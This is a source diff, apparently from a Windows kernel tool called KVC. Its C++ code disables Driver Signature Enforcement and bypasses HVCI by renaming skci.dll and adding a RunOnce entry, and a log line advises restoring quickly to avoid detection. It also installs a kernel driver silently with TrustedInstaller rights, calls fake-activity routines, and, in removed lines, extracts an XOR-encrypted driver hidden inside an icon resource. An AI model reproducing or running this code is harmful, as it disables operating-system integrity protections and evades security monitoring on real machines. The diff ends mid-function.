// Single question - if Y, do everything; if N, do nothing
|
||||
std::wcout << L"Reboot now to complete DSE bypass? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
std::wcin >> choice;
|
||||
|
||||
if (choice != L'Y' && choice != L'y') {
|
||||
INFO(L"HVCI bypass cancelled by user");
|
||||
return true;
|
||||
}
|
||||
|
||||
DEBUG(L"Closing driver handle before file operations...");
|
||||
m_rtc->Cleanup();
|
||||
|
||||
DEBUG(L"Unloading and removing driver service...");
|
||||
EndDriverSession(true);
|
||||
|
||||
DEBUG(L"Driver fully unloaded, proceeding with bypass preparation...");
|
||||
|
||||
if (!m_dseBypass->RenameSkciLibrary()) {
|
||||
ERROR(L"Failed to prepare hypervisor bypass");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_dseBypass->SaveDSEState(currentValue)) {
|
||||
ERROR(L"Failed to save DSE state to registry");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_dseBypass->CreateRunOnceEntry()) {
|
||||
ERROR(L"Failed to create RunOnce entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"HVCI bypass prepared - reboot required");
|
||||
INFO(L"Post-reboot: 'kvc dse' -> if 0x00000000 -> load driver -> 'kvc dse on'");
|
||||
INFO(L"Detection systems may scan for prolonged 0x00000000 state - restore quickly");
|
||||
INFO(L"Future Windows updates may enhance monitoring - disable Driver Signature Enforcement only when needed");
|
||||
|
||||
INFO(L"Initiating system reboot...");
|
||||
|
||||
// Enable shutdown privilege
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
// Initiate reboot
|
||||
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
bool result = m_dseBypass->DisableDSE();
|
||||
|
||||
EndDriverSession(true);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool Controller::RestoreDSE() noexcept {
|
||||
PerformAtomicCleanup();
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
ERROR(L"Failed to start driver session for DSE restore");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_rtc->Initialize()) {
|
||||
ERROR(L"Failed to initialize driver handle");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
|
||||
bool result = m_dseBypass->RestoreDSE();
|
||||
|
||||
EndDriverSession(true);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
bool Controller::DisableDSEAfterReboot() noexcept {
|
||||
// Check if this is actually post-reboot or just pending bypass
|
||||
HKEY hKey = nullptr;
|
||||
bool actuallyPostReboot = false;
|
||||
|
||||
if (RegOpenKeyExW(HKEY_CURRENT_USER, L"Software\\Kvc\\DSE", 0,
|
||||
KEY_READ, &hKey) == ERROR_SUCCESS) {
|
||||
wchar_t state[256] = {0};
|
||||
DWORD size = sizeof(state);
|
||||
|
||||
if (RegQueryValueExW(hKey, L"State", NULL, NULL,
|
||||
reinterpret_cast<BYTE*>(state), &size) == ERROR_SUCCESS) {
|
||||
if (wcscmp(state, L"AwaitingRestore") == 0) {
|
||||
// Check if skci.dlI still exists (means we haven't rebooted yet)
|
||||
wchar_t sysDir[MAX_PATH];
|
||||
GetSystemDirectoryW(sysDir, MAX_PATH);
|
||||
std::wstring checkPath = std::wstring(sysDir) + L"\\skci\u200B.dll";
|
||||
|
||||
if (GetFileAttributesW(checkPath.c_str()) != INVALID_FILE_ATTRIBUTES) {
|
||||
actuallyPostReboot = true; // File exists = real post-reboot
|
||||
}
|
||||
}
|
||||
}
|
||||
RegCloseKey(hKey);
|
||||
}
|
||||
|
||||
// If skci.dlI doesn't exist, user hasn't rebooted yet
|
||||
if (!actuallyPostReboot) {
|
||||
std::wcout << L"\n";
|
||||
INFO(L"HVCI bypass prepared but system has not been rebooted yet");
|
||||
INFO(L"Please reboot to complete the bypass process");
|
||||
std::wcout << L"\n";
|
||||
std::wcout << L"Reboot now? [Y/N]: ";
|
||||
wchar_t choice;
|
||||
std::wcin >> choice;
|
||||
|
||||
if (choice == L'Y' || choice == L'y') {
|
||||
INFO(L"Initiating system reboot...");
|
||||
|
||||
HANDLE hToken;
|
||||
TOKEN_PRIVILEGES tkp;
|
||||
|
||||
if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) {
|
||||
LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid);
|
||||
tkp.PrivilegeCount = 1;
|
||||
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||
AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
|
||||
CloseHandle(hToken);
|
||||
}
|
||||
|
||||
if (InitiateShutdownW(NULL, NULL, 0, SHUTDOWN_RESTART | SHUTDOWN_FORCE_OTHERS, SHTDN_REASON_MAJOR_SOFTWARE | SHTDN_REASON_MINOR_RECONFIGURE) != ERROR_SUCCESS) {
|
||||
ERROR(L"Failed to initiate reboot: %d", GetLastError());
|
||||
}
|
||||
}
|
||||
|
||||
return true; // Exit WITHOUT touching driver
|
||||
}
|
||||
|
||||
// Continue with actual post-reboot bypass...
|
||||
PerformAtomicCleanup();
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
ERROR(L"Failed to start driver session for post-reboot DSE bypass");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_rtc->Initialize()) {
|
||||
ERROR(L"Failed to initialize driver handle");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"Driver handle opened successfully");
|
||||
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
|
||||
bool result = m_dseBypass->DisableDSEAfterReboot();
|
||||
|
||||
EndDriverSession(true);
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
ULONG_PTR Controller::GetCiOptionsAddress() const noexcept {
|
||||
if (!m_dseBypass) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
return m_dseBypass->GetCiOptionsAddress();
|
||||
}
|
||||
|
||||
bool Controller::GetDSEStatus(ULONG_PTR& outAddress, DWORD& outValue) noexcept {
|
||||
PerformAtomicCleanup();
|
||||
|
||||
if (!BeginDriverSession()) {
|
||||
ERROR(L"Failed to start driver session for DSE status check");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_rtc->Initialize()) {
|
||||
ERROR(L"Failed to initialize driver handle");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!m_dseBypass) {
|
||||
m_dseBypass = std::make_unique<DSEBypass>(m_rtc, &m_trustedInstaller);
|
||||
}
|
||||
|
||||
auto ciBase = m_dseBypass->GetKernelModuleBase("ci.dll");
|
||||
if (!ciBase) {
|
||||
ERROR(L"Failed to locate ci.dll");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
outAddress = m_dseBypass->FindCiOptions(ciBase.value());
|
||||
if (outAddress == 0) {
|
||||
ERROR(L"Failed to locate g_CiOptions address");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
auto currentValue = m_rtc->Read32(outAddress);
|
||||
if (!currentValue) {
|
||||
ERROR(L"Failed to read g_CiOptions value");
|
||||
EndDriverSession(true);
|
||||
return false;
|
||||
}
|
||||
|
||||
outValue = currentValue.value();
|
||||
|
||||
EndDriverSession(true);
|
||||
return true;
|
||||
}
|
||||
@@ -1,29 +1,7 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// ControllerDriverManager.cpp
|
||||
// Driver lifecycle management: installation, service control, extraction
|
||||
// Author: Marek Wesolowski, 2025
|
||||
|
||||
#include "Controller.h"
|
||||
#include "common.h"
|
||||
#include "Utils.h"
|
||||
@@ -32,7 +10,66 @@ that define these protections.
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// Driver service lifecycle management
|
||||
// ============================================================================
|
||||
// SERVICE CLEANUP AND MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
// Forcefully remove driver service, ignoring most errors
|
||||
bool Controller::ForceRemoveService() noexcept {
|
||||
if (!InitDynamicAPIs()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
StopDriverService();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) {
|
||||
return false;
|
||||
}
|
||||
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
|
||||
if (!hService) {
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return (err == ERROR_SERVICE_DOES_NOT_EXIST);
|
||||
}
|
||||
|
||||
BOOL success = g_pDeleteService(hService);
|
||||
DWORD err = GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return success || (err == ERROR_SERVICE_MARKED_FOR_DELETE);
|
||||
}
|
||||
|
||||
// Detect zombie service state (marked for deletion but not removed)
|
||||
bool Controller::IsServiceZombie() noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT);
|
||||
if (!hSCM) return false;
|
||||
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), DELETE);
|
||||
if (!hService) {
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
return false;
|
||||
}
|
||||
|
||||
BOOL delResult = g_pDeleteService(hService);
|
||||
DWORD err = GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
return (!delResult && err == ERROR_SERVICE_MARKED_FOR_DELETE);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SERVICE LIFECYCLE MANAGEMENT
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::StopDriverService() noexcept {
|
||||
DEBUG(L"StopDriverService called");
|
||||
|
||||
@@ -57,272 +94,48 @@ bool Controller::StopDriverService() noexcept {
|
||||
return true;
|
||||
}
|
||||
|
||||
DEBUG(L"OpenServiceW failed: %d", err);
|
||||
DEBUG(L"Failed to open service: %d", err);
|
||||
return false;
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
if (!QueryServiceStatus(hService, &status)) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return false;
|
||||
}
|
||||
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
DEBUG(L"Service already stopped");
|
||||
return true;
|
||||
}
|
||||
|
||||
if (status.dwCurrentState == SERVICE_RUNNING) {
|
||||
if (!g_pControlService(hService, SERVICE_CONTROL_STOP, &status)) {
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
DEBUG(L"ControlService failed: %d", err);
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wait for service to stop (up to 5 seconds)
|
||||
for (int i = 0; i < 50; i++) {
|
||||
Sleep(100);
|
||||
if (QueryServiceStatus(hService, &status)) {
|
||||
if (status.dwCurrentState == SERVICE_STOPPED) {
|
||||
DEBUG(L"Service already stopped");
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
SERVICE_STATUS stopStatus;
|
||||
BOOL success = g_pControlService(hService, SERVICE_CONTROL_STOP, &stopStatus);
|
||||
DWORD err = GetLastError();
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
DEBUG(L"ControlService result: %d, error: %d", success, err);
|
||||
|
||||
return success || err == ERROR_SERVICE_NOT_ACTIVE;
|
||||
}
|
||||
|
||||
// Extract driver from steganographic icon resource
|
||||
std::vector<BYTE> Controller::ExtractEncryptedDriver() noexcept {
|
||||
auto iconData = Utils::ReadResource(IDR_MAINICON, RT_RCDATA);
|
||||
if (iconData.size() <= 9662) {
|
||||
ERROR(L"Icon resource too small or corrupted - steganographic driver missing");
|
||||
return {};
|
||||
}
|
||||
// Skip first 9662 bytes (actual icon data) to get embedded driver
|
||||
return std::vector<BYTE>(iconData.begin() + 9662, iconData.end());
|
||||
}
|
||||
|
||||
// Decrypt embedded driver using XOR cipher
|
||||
// Decrypt embedded driver using XOR cipher
|
||||
std::vector<BYTE> Controller::DecryptDriver(const std::vector<BYTE>& encryptedData) noexcept {
|
||||
if (encryptedData.empty()) {
|
||||
ERROR(L"No encrypted driver data provided");
|
||||
return {};
|
||||
}
|
||||
|
||||
constexpr std::array<BYTE, 7> key = { 0xA0, 0xE2, 0x80, 0x8B, 0xE2, 0x80, 0x8C };
|
||||
std::vector<BYTE> decryptedData = encryptedData;
|
||||
|
||||
// Simple XOR decryption with repeating key
|
||||
for (size_t i = 0; i < decryptedData.size(); ++i) {
|
||||
decryptedData[i] ^= key[i % key.size()]; // Use 'key' instead of 'decryptionKey'
|
||||
}
|
||||
|
||||
return decryptedData;
|
||||
}
|
||||
|
||||
// Silent driver installation with TrustedInstaller privileges
|
||||
bool Controller::InstallDriverSilently() noexcept {
|
||||
auto encryptedData = ExtractEncryptedDriver();
|
||||
if (encryptedData.empty()) return false;
|
||||
|
||||
auto driverData = DecryptDriver(encryptedData);
|
||||
if (driverData.empty()) return false;
|
||||
|
||||
fs::path tempDir = GetSystemTempPath(); // Use system temp instead of user temp
|
||||
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
|
||||
|
||||
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) return false;
|
||||
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
// Copy with system privileges
|
||||
std::wstring copyCommand = L"cmd.exe /c copy /Y \"" + tempDriverPath.wstring() + L"\" \"" + driverPath.wstring() + L"\"";
|
||||
if (!RunAsTrustedInstallerSilent(copyCommand)) {
|
||||
DeleteFileW(tempDriverPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
DeleteFileW(tempDriverPath.c_str());
|
||||
|
||||
// REGISTER THE SERVICE WITH CORRECT PRIVILEGES
|
||||
return RegisterDriverServiceSilent(driverPath.wstring());
|
||||
}
|
||||
|
||||
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) return false;
|
||||
|
||||
SC_HANDLE hService = g_pCreateServiceW(
|
||||
hSCM,
|
||||
GetServiceName().c_str(),
|
||||
L"Kernel Driver Service",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER, // KEY CHANGE: type = kernel
|
||||
SERVICE_DEMAND_START, // start = demand (can be changed to auto)
|
||||
SERVICE_ERROR_NORMAL,
|
||||
driverPath.c_str(),
|
||||
nullptr, nullptr, nullptr, nullptr, nullptr
|
||||
);
|
||||
|
||||
bool success = (hService != nullptr) || (GetLastError() == ERROR_SERVICE_EXISTS);
|
||||
|
||||
if (hService) CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return success;
|
||||
}
|
||||
|
||||
bool Controller::StartDriverServiceSilent() noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) return false;
|
||||
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return false;
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
bool success = true;
|
||||
|
||||
if (QueryServiceStatus(hService, &status)) {
|
||||
if (status.dwCurrentState != SERVICE_RUNNING) {
|
||||
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return success;
|
||||
}
|
||||
|
||||
// Legacy driver installation with enhanced error handling
|
||||
bool Controller::InstallDriver() noexcept {
|
||||
auto encryptedData = ExtractEncryptedDriver();
|
||||
if (encryptedData.empty()) {
|
||||
ERROR(L"Failed to extract encrypted driver from icon resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
auto driverData = DecryptDriver(encryptedData);
|
||||
if (driverData.empty()) {
|
||||
ERROR(L"Failed to decrypt embedded driver data");
|
||||
return false;
|
||||
}
|
||||
|
||||
fs::path tempDir = fs::temp_directory_path();
|
||||
fs::path tempDriverPath = tempDir / fs::path(GetDriverFileName());
|
||||
|
||||
if (!Utils::WriteFile(tempDriverPath.wstring(), driverData)) {
|
||||
ERROR(L"Failed to write driver file to temp location: %s", tempDriverPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
std::error_code ec;
|
||||
fs::create_directories(driverDir, ec);
|
||||
if (ec) {
|
||||
INFO(L"Directory creation failed (may already exist)");
|
||||
}
|
||||
|
||||
std::wstring copyCommand = L"cmd.exe /c copy /Y " + tempDriverPath.wstring() + L" " + driverPath.wstring();
|
||||
INFO(L"Copying driver with elevated privileges: %s", copyCommand.c_str());
|
||||
|
||||
if (!RunAsTrustedInstaller(copyCommand)) {
|
||||
ERROR(L"Failed to copy driver to system directory with elevated privileges");
|
||||
DeleteFileW(tempDriverPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
if (!fs::exists(driverPath)) {
|
||||
ERROR(L"Driver file was not copied successfully to: %s", driverPath.c_str());
|
||||
DeleteFileW(tempDriverPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"Driver file successfully copied to: %s", driverPath.c_str());
|
||||
DeleteFileW(tempDriverPath.c_str());
|
||||
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) {
|
||||
ERROR(L"Failed to open service control manager: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
SC_HANDLE hService = g_pCreateServiceW(
|
||||
hSCM, GetServiceName().c_str(), L"Memory Access Driver",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER, // KEY CHANGE
|
||||
SERVICE_DEMAND_START, // start= demand
|
||||
SERVICE_ERROR_NORMAL, driverPath.c_str(),
|
||||
nullptr, nullptr, nullptr, nullptr, nullptr
|
||||
);
|
||||
|
||||
if (!hService) {
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
if (err != ERROR_SERVICE_EXISTS) {
|
||||
ERROR(L"Failed to create driver service: %d", err);
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Driver service already exists, proceeding");
|
||||
} else {
|
||||
CloseServiceHandle(hService);
|
||||
SUCCESS(L"Driver service created successfully");
|
||||
}
|
||||
|
||||
CloseServiceHandle(hSCM);
|
||||
SUCCESS(L"Driver installed and registered as Windows service");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Controller::UninstallDriver() noexcept {
|
||||
StopDriverService();
|
||||
|
||||
if (!InitDynamicAPIs()) return true;
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) {
|
||||
return true;
|
||||
}
|
||||
|
||||
std::wstring serviceName = GetServiceName();
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, serviceName.c_str(), DELETE);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL success = g_pDeleteService(hService);
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
if (!success) {
|
||||
DWORD err = GetLastError();
|
||||
if (err != ERROR_SERVICE_MARKED_FOR_DELETE) {
|
||||
ERROR(L"Failed to delete driver service: %d", err);
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
// Clean up driver file
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
std::error_code ec;
|
||||
if (!fs::remove(driverPath, ec)) {
|
||||
if (ec.value() != ERROR_FILE_NOT_FOUND) {
|
||||
std::wstring delCommand = L"cmd.exe /c del /Q \"" + driverPath.wstring() + L"\"";
|
||||
RunAsTrustedInstallerSilent(delCommand);
|
||||
}
|
||||
}
|
||||
|
||||
DEBUG(L"Service stop completed");
|
||||
return true;
|
||||
}
|
||||
|
||||
@@ -367,3 +180,268 @@ bool Controller::StartDriverService() noexcept {
|
||||
SUCCESS(L"Kernel driver service started successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
bool Controller::StartDriverServiceSilent() noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) return false;
|
||||
|
||||
SC_HANDLE hService = g_pOpenServiceW(hSCM, GetServiceName().c_str(), SERVICE_START | SERVICE_QUERY_STATUS);
|
||||
if (!hService) {
|
||||
CloseServiceHandle(hSCM);
|
||||
return false;
|
||||
}
|
||||
|
||||
SERVICE_STATUS status;
|
||||
bool success = true;
|
||||
|
||||
if (QueryServiceStatus(hService, &status)) {
|
||||
if (status.dwCurrentState != SERVICE_RUNNING) {
|
||||
success = g_pStartServiceW(hService, 0, nullptr) || (GetLastError() == ERROR_SERVICE_ALREADY_RUNNING);
|
||||
}
|
||||
}
|
||||
|
||||
CloseServiceHandle(hService);
|
||||
CloseServiceHandle(hSCM);
|
||||
return success;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// DRIVER INSTALLATION
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::InstallDriver() noexcept {
|
||||
ForceRemoveService();
|
||||
|
||||
// Check for zombie service state
|
||||
if (IsServiceZombie()) {
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L" DRIVER SERVICE IN ZOMBIE STATE - SYSTEM RESTART REQUIRED");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"The kernel driver service is marked for deletion but cannot be");
|
||||
CRITICAL(L"removed until the system is restarted. This typically occurs");
|
||||
CRITICAL(L"when driver loading is interrupted during initialization.");
|
||||
CRITICAL(L"");
|
||||
INFO(L"Required action: Restart your computer to clear the zombie state");
|
||||
INFO(L"After restart, the driver will load normally");
|
||||
CRITICAL(L"");
|
||||
CRITICAL(L"===============================================================");
|
||||
CRITICAL(L"");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Extract driver (already decrypted by Utils::ExtractResourceComponents)
|
||||
auto driverData = ExtractDriver();
|
||||
if (driverData.empty()) {
|
||||
ERROR(L"Failed to extract driver from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Get target paths
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
INFO(L"Target driver path: %s", driverPath.c_str());
|
||||
|
||||
// Ensure directory exists with TrustedInstaller privileges
|
||||
INFO(L"Creating driver directory with TrustedInstaller privileges...");
|
||||
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
|
||||
ERROR(L"Failed to create driver directory: %s", driverDir.c_str());
|
||||
return false;
|
||||
}
|
||||
DEBUG(L"Driver directory ready: %s", driverDir.c_str());
|
||||
|
||||
// Write driver file directly with TrustedInstaller privileges
|
||||
INFO(L"Writing driver file with TrustedInstaller privileges...");
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
|
||||
ERROR(L"Failed to write driver file to system location");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Verify file was written successfully
|
||||
DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
|
||||
if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
|
||||
ERROR(L"Driver file verification failed: %s", driverPath.c_str());
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"Driver file written successfully: %s (%zu bytes)", driverPath.c_str(), driverData.size());
|
||||
|
||||
// Register service
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
GenerateFakeActivity();
|
||||
|
||||
SC_HANDLE hSCM = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS);
|
||||
if (!hSCM) {
|
||||
ERROR(L"Failed to open service control manager: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
SC_HANDLE hService = g_pCreateServiceW(
|
||||
hSCM,
|
||||
GetServiceName().c_str(),
|
||||
L"KVC",
|
||||
SERVICE_ALL_ACCESS,
|
||||
SERVICE_KERNEL_DRIVER,
|
||||
SERVICE_DEMAND_START,
|
||||
SERVICE_ERROR_NORMAL,
|
||||
driverPath.c_str(),
|
||||
nullptr, nullptr, nullptr, nullptr, nullptr
|
||||
);
|
||||
|
||||
if (!hService) {
|
||||
DWORD err = GetLastError();
|
||||
CloseServiceHandle(hSCM);
|
||||
|
||||
if (err != ERROR_SERVICE_EXISTS) {
|
||||
ERROR(L"Failed to create driver service: %d", err);
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"Driver service already exists, proceeding");
|
||||
} else {
|
||||
CloseServiceHandle(hService);
|
||||
SUCCESS(L"Driver service created successfully");
|
||||
}
|
||||
|
||||
CloseServiceHandle(hSCM);
|
||||
SUCCESS(L"Driver installed and registered as Windows service");
|
||||
return true;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// SILENT INSTALLATION
|
||||
// ============================================================================
|
||||
|
||||
bool Controller::InstallDriverSilently() noexcept {
|
||||
if (IsServiceZombie()) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Extract driver (already decrypted)
|
||||
auto driverData = ExtractDriver();
|
||||
if (driverData.empty()) return false;
|
||||
|
||||
// Get target paths
|
||||
fs::path driverDir = GetDriverStorePath();
|
||||
fs::path driverPath = driverDir / fs::path(GetDriverFileName());
|
||||
|
||||
// Ensure directory exists with TrustedInstaller privileges
|
||||
if (!m_trustedInstaller.CreateDirectoryAsTrustedInstaller(driverDir.wstring())) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Write driver directly with TrustedInstaller privileges
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(driverPath.wstring(), driverData)) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Verify file
|
||||
DWORD fileAttrs = GetFileAttributesW(driverPath.c_str());
|
||||
if (fileAttrs == INVALID_FILE_ATTRIBUTES) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Register service
|
||||
return RegisterDriverServiceSilent(driverPath.wstring());
|
||||
}
|
||||
|
||||
bool Controller::RegisterDriverServiceSilent(const std::wstring& driverPath) noexcept {
|
||||
if (!InitDynamicAPIs()) return false;
|
||||
|
||||
